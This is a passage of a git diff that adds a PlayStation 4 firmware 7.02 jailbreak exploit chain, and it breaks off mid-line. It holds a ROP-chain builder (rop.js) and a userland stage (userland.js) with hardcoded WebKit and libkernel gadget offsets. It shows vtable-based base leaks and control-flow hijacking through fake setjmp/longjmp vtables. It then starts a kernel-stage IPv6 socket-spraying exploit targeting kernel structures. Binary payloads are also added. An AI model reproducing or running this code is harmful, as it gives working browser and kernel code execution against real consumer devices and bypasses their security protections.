0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255]); diff --git a/702/pkg-backup.bin b/702/pkg-backup.bin new file mode 100644 index 00000000..ca7bb8d2 Binary files /dev/null and b/702/pkg-backup.bin differ diff --git a/702/ps4debug.bin b/702/ps4debug.bin new file mode 100644 index 00000000..10125fb0 Binary files /dev/null and b/702/ps4debug.bin differ diff --git a/702/rdr113.bin b/702/rdr113.bin new file mode 100644 index 00000000..5d14a719 Binary files /dev/null and b/702/rdr113.bin differ diff --git a/702/rdr119.bin b/702/rdr119.bin new file mode 100644 index 00000000..563eab1e Binary files /dev/null and b/702/rdr119.bin differ diff --git a/702/rdr124.bin b/702/rdr124.bin new file mode 100644 index 00000000..9ec99c1a Binary files /dev/null and b/702/rdr124.bin differ diff --git a/702/restore.bin b/702/restore.bin new file mode 100644 index 00000000..7506895c Binary files /dev/null and b/702/restore.bin differ diff --git a/702/rop.js b/702/rop.js new file mode 100644 index 00000000..78710542 --- /dev/null +++ b/702/rop.js @@ -0,0 +1,322 @@ +const stack_sz = 0x40000; +const reserve_upper_stack = 0x8000; +const stack_reserved_idx = reserve_upper_stack / 4; + + +// Class for quickly creating and managing a ROP chain +window.rop = function () { + this.stackback = p.malloc32(stack_sz / 4 + 0x8); + this.stack = this.stackback.add32(reserve_upper_stack); + this.stack_array = this.stackback.backing; + this.retval = this.stackback.add32(stack_sz); + this.count = 1; + this.branches_count = 0; + this.branches_rsps = p.malloc(0x200); + + this.clear = function () { + this.count = 1; + this.branches_count = 0; + + for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) { + this.stack_array[i + stack_reserved_idx] = 0; + } + }; + + this.pushSymbolic = function () { + this.count++; + return this.count - 1; + } + + this.finalizeSymbolic = function (idx, val) { + if (val instanceof int64) { + this.stack_array[stack_reserved_idx + idx * 2] = val.low; + this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi; + } else { + this.stack_array[stack_reserved_idx + idx * 2] = val; + this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0; + } + } + + this.push = function (val) { + this.finalizeSymbolic(this.pushSymbolic(), val); + } + + this.push_write8 = function (where, what) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["pop rsi"]); + this.push(what); + this.push(gadgets["mov [rdi], rsi"]); + } + + this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) { + if (rdi != undefined) { + this.push(gadgets["pop rdi"]); + this.push(rdi); + } + + if (rsi != undefined) { + this.push(gadgets["pop rsi"]); + this.push(rsi); + } + + if (rdx != undefined) { + this.push(gadgets["pop rdx"]); + this.push(rdx); + } + + if (rcx != undefined) { + this.push(gadgets["pop rcx"]); + this.push(rcx); + } + + if (r8 != undefined) { + this.push(gadgets["pop r8"]); + this.push(r8); + } + + if (r9 != undefined) { + this.push(gadgets["pop r9"]); + this.push(r9); + } + + this.push(rip); + return this; + } + + this.call = function(rip, rdi, rsi, rdx, rcx, r8, r9) { + this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); + this.write_result(this.retval); + this.run(); + return p.read8(this.retval); + } + + this.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) { + return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9); + } + + //get rsp of the next push + this.get_rsp = function () { + return this.stack.add32(this.count * 8); + } + this.write_result = function (where) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["mov [rdi], rax"]); + } + this.write_result4 = function (where) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["mov [rdi], eax"]); + } + + //use this in loops. + this.syscall_safe = function (sysc, rdi, rsi, rdx, rcx, r8, r9) { + if (rdi != undefined) { + this.push(gadgets["pop rdi"]); + this.push(rdi); + } + + if (rsi != undefined) { + this.push(gadgets["pop rsi"]); + this.push(rsi); + } + + if (rdx != undefined) { + this.push(gadgets["pop rdx"]); + this.push(rdx); + } + + if (rcx != undefined) { + this.push(gadgets["pop rcx"]); + this.push(rcx); + } + + if (r8 != undefined) { + this.push(gadgets["pop r8"]); + this.push(r8); + } + + if (r9 != undefined) { + this.push(gadgets["pop r9"]); + this.push(r9); + } + var sysc_restore = this.get_rsp(); + this.push(window.syscalls[sysc]); + this.push_write8(sysc_restore, window.syscalls[sysc]); + } + this.jmp_rsp = function (rsp) { + this.push(window.gadgets["pop rsp"]); + this.push(rsp); + } + + this.create_equal_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setne al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + + } + this.create_greater_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setle al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + } + this.create_greater_or_equal_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setl al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + } + this.create_lesser_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setge al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + } + this.create_lesser_or_equal_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setg al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + } + this.set_branch_points = function (branch_addr_sp, rsp_condition_met, rsp_condition_not_met) { + p.write8(branch_addr_sp.add32(0x0), rsp_condition_met); + p.write8(branch_addr_sp.add32(0x8), rsp_condition_not_met); + } + this.spawn_thread = function(name, chain_setup) { + var new_thr = new rop(); + var context = p.malloc(0x100); + + p.write8(context.add32(0x0), window.gadgets["ret"]); + p.write8(context.add32(0x10), new_thr.stack); + new_thr.push(window.gadgets["ret"]); + chain_setup(new_thr); + + var retv = function () { + chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), context.add32(0x48), 0, libSceLibcInternalBase.add32(OFFSET_libcint_longjmp), context, p.stringify(name)); + } + window.nogc.push(new_thr); + window.nogc.push(context); + + return retv; + } + + this.run = function () { + p.launch_chain(this); + this.clear(); + } + + return this; +}; \ No newline at end of file diff --git a/702/todex.bin b/702/todex.bin new file mode 100644 index 00000000..0a6a47c1 Binary files /dev/null and b/702/todex.bin differ diff --git a/702/userland.js b/702/userland.js new file mode 100644 index 00000000..da42e402 --- /dev/null +++ b/702/userland.js @@ -0,0 +1,892 @@ +var p; +var chain; +var nogc = []; +var webKitBase; +var libSceLibcInternalBase; +var libKernelBase; + +const OFFSET_WK_vtable_first_element = 0x009A6040; +const OFFSET_WK_memset_import = 0x00002458; +const OFFSET_WK___stack_chk_fail_import = 0x00002438; +const OFFSET_WK_setjmp_gadget_one = 0x006D81F5; +const OFFSET_WK_setjmp_gadget_two = 0x00288F83; +const OFFSET_WK_longjmp_gadget_one = 0x006D81F5; +const OFFSET_WK_longjmp_gadget_two = 0x00288F83; + + + +const OFFSET_libcint_memset = 0x000507D0; +const OFFSET_libcint_setjmp = 0x000BE39C; +const OFFSET_libcint_longjmp = 0x000BE3F6; + +const OFFSET_lk___stack_chk_fail = 0x00012AD0; +const OFFSET_lk_pthread_create_name_np = 0x0001BB10; +const OFFSET_lk_pthread_exit = 0x00019FD0; +const OFFSET_lk_pthread_self = 0x0001D160; +const OFFSET_lk_pthread_setschedparam = 0x0002AD70; + +var syscalls = {}; +var gadgets = {}; +var gadgetmap = { + "ret": 0x0000003C, + "pop rdi": 0x0000835D, + "pop rsi": 0x0003C987, + "pop rdx": 0x00052B23, + "pop rcx": 0x00026AFB, + "pop r8": 0x00097D32, + "pop r9": 0x005C6A81, + "pop rax": 0x0001FA68, + "pop rsp": 0x00078C62, + + "mov [rdi], rax": 0x000203E9, + "mov [rdi], eax": 0x00020148, + "mov [rdi], rsi": 0x000359F0, + "cmp [rcx], edi": 0x0010DA31, + + "setne al": 0x00009000, + "sete al": 0x0001E0C4, + "setle al": 0x000CA7F6, + "setl al": 0x005955AC, + "setge al": 0x0061B262, + "setg al": 0x000E4A37, + "shl rax, 3": 0x005E8953, + "add rax, rdx": 0x003D498C, + "mov rax, [rax]": 0x0002E852, + "inc dword [rax]": 0x003628DB, + "infpoop": 0x0001386A +}; + +var textArea = document.createElement("textarea"); + +function stage2() { + p = window.prim; + p.launch_chain = launch_chain; + p.malloc = malloc; + p.malloc32 = malloc32; + p.stringify = stringify; + p.readString = readString; + p.array_from_address = array_from_address; + + //pointer to vtable address + var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); + //address of vtable + var textAreaVtable = p.read8(textAreaVtPtr); + //use address of 1st entry (in .text) to calculate webkitbase + webKitBase = p.read8(textAreaVtable).sub32(OFFSET_WK_vtable_first_element); + + libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); + libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); + + libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); + libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); + + for (var gadget in gadgetmap) { + window.gadgets[gadget] = webKitBase.add32(gadgetmap[gadget]); + } + + function get_jmptgt(address) { + var instr = p.read4(address) & 0xFFFF; + var offset = p.read4(address.add32(2)); + if (instr != 0x25FF) { + return 0; + } + return address.add32(0x6 + offset); + } + + function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + window.nogc.push(backing); + var ptr = p.read8(p.leakval(backing).add32(0x10)); + ptr.backing = backing; + return ptr; + } + + function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + window.nogc.push(backing); + var ptr = p.read8(p.leakval(backing).add32(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; + } + + function array_from_address(addr, size) { + var og_array = new Uint32Array(0x1000); + var og_array_i = p.leakval(og_array).add32(0x10); + + p.write8(og_array_i, addr); + p.write4(og_array_i.add32(8), size); + //p.write4(og_array_i.add32(0xC), 0x1); + + nogc.push(og_array); + return og_array; + } + + function stringify(str) { + var bufView = new Uint8Array(str.length + 1); + for (var i = 0; i < str.length; i++) { + bufView[i] = str.charCodeAt(i) & 0xFF; + } + window.nogc.push(bufView); + return p.read8(p.leakval(bufView).add32(0x10)); + } + function readString(addr) + { + var byte = p.read4(addr); + var str = ""; + var i = 0; + while (byte & 0xFF) + { + str += String.fromCharCode(byte & 0xFF); + byte = p.read4(addr.add32(i)); + i++; + } + return str; + } + + + + var fakeVtable_setjmp = p.malloc32(0x200); + var fakeVtable_longjmp = p.malloc32(0x200); + var original_context = p.malloc32(0x40); + var modified_context = p.malloc32(0x40); + + p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); + p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] + p.write8(fakeVtable_setjmp.add32(0x10), original_context); + p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); + p.write8(fakeVtable_setjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] + + p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); + p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] + p.write8(fakeVtable_longjmp.add32(0x10), modified_context); + p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); + p.write8(fakeVtable_longjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] + + function launch_chain(chain) { + + chain.push(window.gadgets["pop rdi"]); + chain.push(original_context); + chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); + + p.write8(textAreaVtPtr, fakeVtable_setjmp); + textArea.scrollLeft = 0x0; + p.write8(modified_context.add32(0x00), window.gadgets["ret"]); + p.write8(modified_context.add32(0x10), chain.stack); + p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) + + p.write8(textAreaVtPtr, fakeVtable_longjmp); + textArea.scrollLeft = 0x0; + p.write8(textAreaVtPtr, textAreaVtable); + } + + var kview = new Uint8Array(0x1000); + var kstr = p.leakval(kview).add32(0x10); + var orig_kview_buf = p.read8(kstr); + + p.write8(kstr, window.libKernelBase); + p.write4(kstr.add32(8), 0x40000); + var countbytes; + + for (var i = 0; i < 0x40000; i++) { + if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) { + countbytes = i; + break; + } + } + p.write4(kstr.add32(8), countbytes + 32); + var dview32 = new Uint32Array(1); + var dview8 = new Uint8Array(dview32.buffer); + for (var i = 0; i < countbytes; i++) { + if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) { + dview8[0] = kview[i + 3]; + dview8[1] = kview[i + 4]; + dview8[2] = kview[i + 5]; + dview8[3] = kview[i + 6]; + var syscallno = dview32[0]; + window.syscalls[syscallno] = window.libKernelBase.add32(i); + } + } + p.write8(kstr, orig_kview_buf); + chain = new rop(); + if (chain.syscall(23, 0).low != 0x0) { + try { + stage3(); + } catch (e) { + alert(e); + } + } + + jbdone(); +} + +function stage3() { + + const AF_INET6 = 28; + const SOCK_DGRAM = 2; + const IPPROTO_UDP = 17; + const IPPROTO_IPV6 = 41; + const IPV6_TCLASS = 61; + const IPV6_2292PKTOPTIONS = 25; + const IPV6_RTHDR = 51; + const IPV6_PKTINFO = 46; + + const SPRAY_TCLASS = 0x53; + const TAINT_CLASS = 0x58; + const TCLASS_MASTER = 0x2AFE0000; + + const PKTOPTS_PKTINFO_OFFSET = 0x10; + const PKTOPTS_RTHDR_OFFSET = 0x68; + const PKTOPTS_TCLASS_OFFSET = 0xB0; + + const PROC_UCRED_OFFSET = 0x40; + const PROC_FILEDESC_OFFSET = 0x48; + const PROC_PID_OFFSET = 0xB0; + + + const FILE_FOPS_OFFSET = 0x8; + const FILEOPS_IOCTL_OFFSET = 0x18; + const VM_MAP_PMAP_OFFSET = 0x120; + + const KERNEL_M_IP6OPT_OFFSET = 0x1A7AEA0; + const KERNEL_MALLOC_OFFSET = 0x301840; + const KERNEL_ALLPROC_OFFSET = 0x1B48318; + const KERNEL_PMAP_STORE_OFFSET = 0x22C5268; + + const NUM_SPRAY_SOCKS = 200; + const NUM_LEAK_SOCKS = 200; + const NUM_SLAVE_SOCKS = 300; + + const size_of_triggered = 0x8; + const size_of_valid_pktopts = 0x18; + const size_of_size_of_tclass = 0x8; + const size_of_master_main_tclass = 0x8; + const size_of_master_thr1_tclass = 0x8; + const size_of_master_thr2_tclass = 0x8; + const size_of_spray_tclass = 0x8; + const size_of_taint_tclass = 0x8; + const size_of_tmp_tclass = 0x8; + const size_of_rthdr_buffer = 0x800; + const size_of_ptr_size_of_rthdr_buffer= 0x8; + const size_of_spray_socks = 0x4 * NUM_SPRAY_SOCKS; + const size_of_leak_socks = 0x4 * NUM_LEAK_SOCKS; + const size_of_slave_socks = 0x4 * NUM_SLAVE_SOCKS; + const size_of_spray_socks_tclasses = 0x4 * NUM_SPRAY_SOCKS; + const size_of_pktinfo_buffer = 0x18; + const size_of_pktinfo_buffer_len = 0x8; + const size_of_find_slave_buffer = 0x8 * NUM_SLAVE_SOCKS + 0x10; + const size_of_fake_socketops = 0x58; + const size_of_loop_counter = 0x8; + const size_of_fix_these_sockets = 0x4 * (NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x2) + 0x18; + const var_memory = p.malloc(size_of_triggered + size_of_valid_pktopts + size_of_size_of_tclass + size_of_master_main_tclass + size_of_master_thr1_tclass + size_of_master_thr2_tclass + size_of_spray_tclass + size_of_taint_tclass + size_of_tmp_tclass + + size_of_rthdr_buffer + size_of_ptr_size_of_rthdr_buffer+ size_of_spray_socks + size_of_leak_socks + size_of_slave_socks + size_of_spray_socks_tclasses + size_of_pktinfo_buffer + size_of_pktinfo_buffer_len + size_of_find_slave_buffer + size_of_fake_socketops + size_of_loop_counter + + size_of_fix_these_sockets + ); + + const triggered = var_memory; + const valid_pktopts = triggered.add32(size_of_triggered); + const size_of_tclass = valid_pktopts.add32(size_of_valid_pktopts); + const master_main_tclass = size_of_tclass.add32(size_of_size_of_tclass); + const master_thr1_tclass = master_main_tclass.add32(size_of_master_main_tclass); + const master_thr2_tclass = master_thr1_tclass.add32(size_of_master_thr1_tclass); + const spray_tclass = master_thr2_tclass.add32(size_of_master_thr2_tclass); + const taint_tclass = spray_tclass.add32(size_of_spray_tclass); + const tmp_tclass = taint_tclass.add32(size_of_taint_tclass); + const rthdr_buffer = tmp_tclass.add32(size_of_tmp_tclass); + const ptr_size_of_rthdr_buffer = rthdr_buffer.add32(size_of_rthdr_buffer); + const spray_sockets_ptr = ptr_size_of_rthdr_buffer.add32(size_of_ptr_size_of_rthdr_buffer); + const leak_sockets_ptr = spray_sockets_ptr.add32(size_of_spray_socks); + const slave_sockets_ptr = leak_sockets_ptr.add32(size_of_leak_socks); + const spray_socks_tclasses_ptr = slave_sockets_ptr.add32(size_of_slave_socks); + const pktinfo_buffer = spray_socks_tclasses_ptr.add32(size_of_spray_socks_tclasses); + const pktinfo_buffer_len = pktinfo_buffer.add32(size_of_pktinfo_buffer); + const find_slave_buffer = pktinfo_buffer_len.add32(size_of_pktinfo_buffer_len); + const fake_socketops = find_slave_buffer.add32(size_of_find_slave_buffer); + const loop_counter = fake_socketops.add32(size_of_fake_socketops); + const fix_these_sockets_ptr = loop_counter.add32(size_of_loop_counter); + + var overlapped_socket = -1; + var overlapped_socket_idx = -1; + + var slave_socket = -1; + + var leaked_pktopts_address = 0; + + var target_file; + var socketops; + var kernel_base; + + p.write8(valid_pktopts.add32(0x0), 0x14); + p.write4(valid_pktopts.add32(0x8), IPPROTO_IPV6); + p.write4(valid_pktopts.add32(0xC), IPV6_TCLASS); + p.write4(valid_pktopts.add32(0x10), 0x0); + + p.write8(size_of_tclass, 0x4); + p.write8(spray_tclass, SPRAY_TCLASS); + + p.write8(master_main_tclass, 0x0); + p.write8(master_thr1_tclass, 0x0); + p.write8(master_thr2_tclass, 0x0); + + p.write8(taint_tclass, TAINT_CLASS); + p.write8(tmp_tclass, 0x10); + + p.write8(pktinfo_buffer_len, 0x14); + + //create sockets + const master_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low; + const target_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low; + const spare_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low; + + const this_pid = chain.syscall(20).low; + + { + + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + chain.write_result4(spray_sockets_ptr.add32(0x4 * 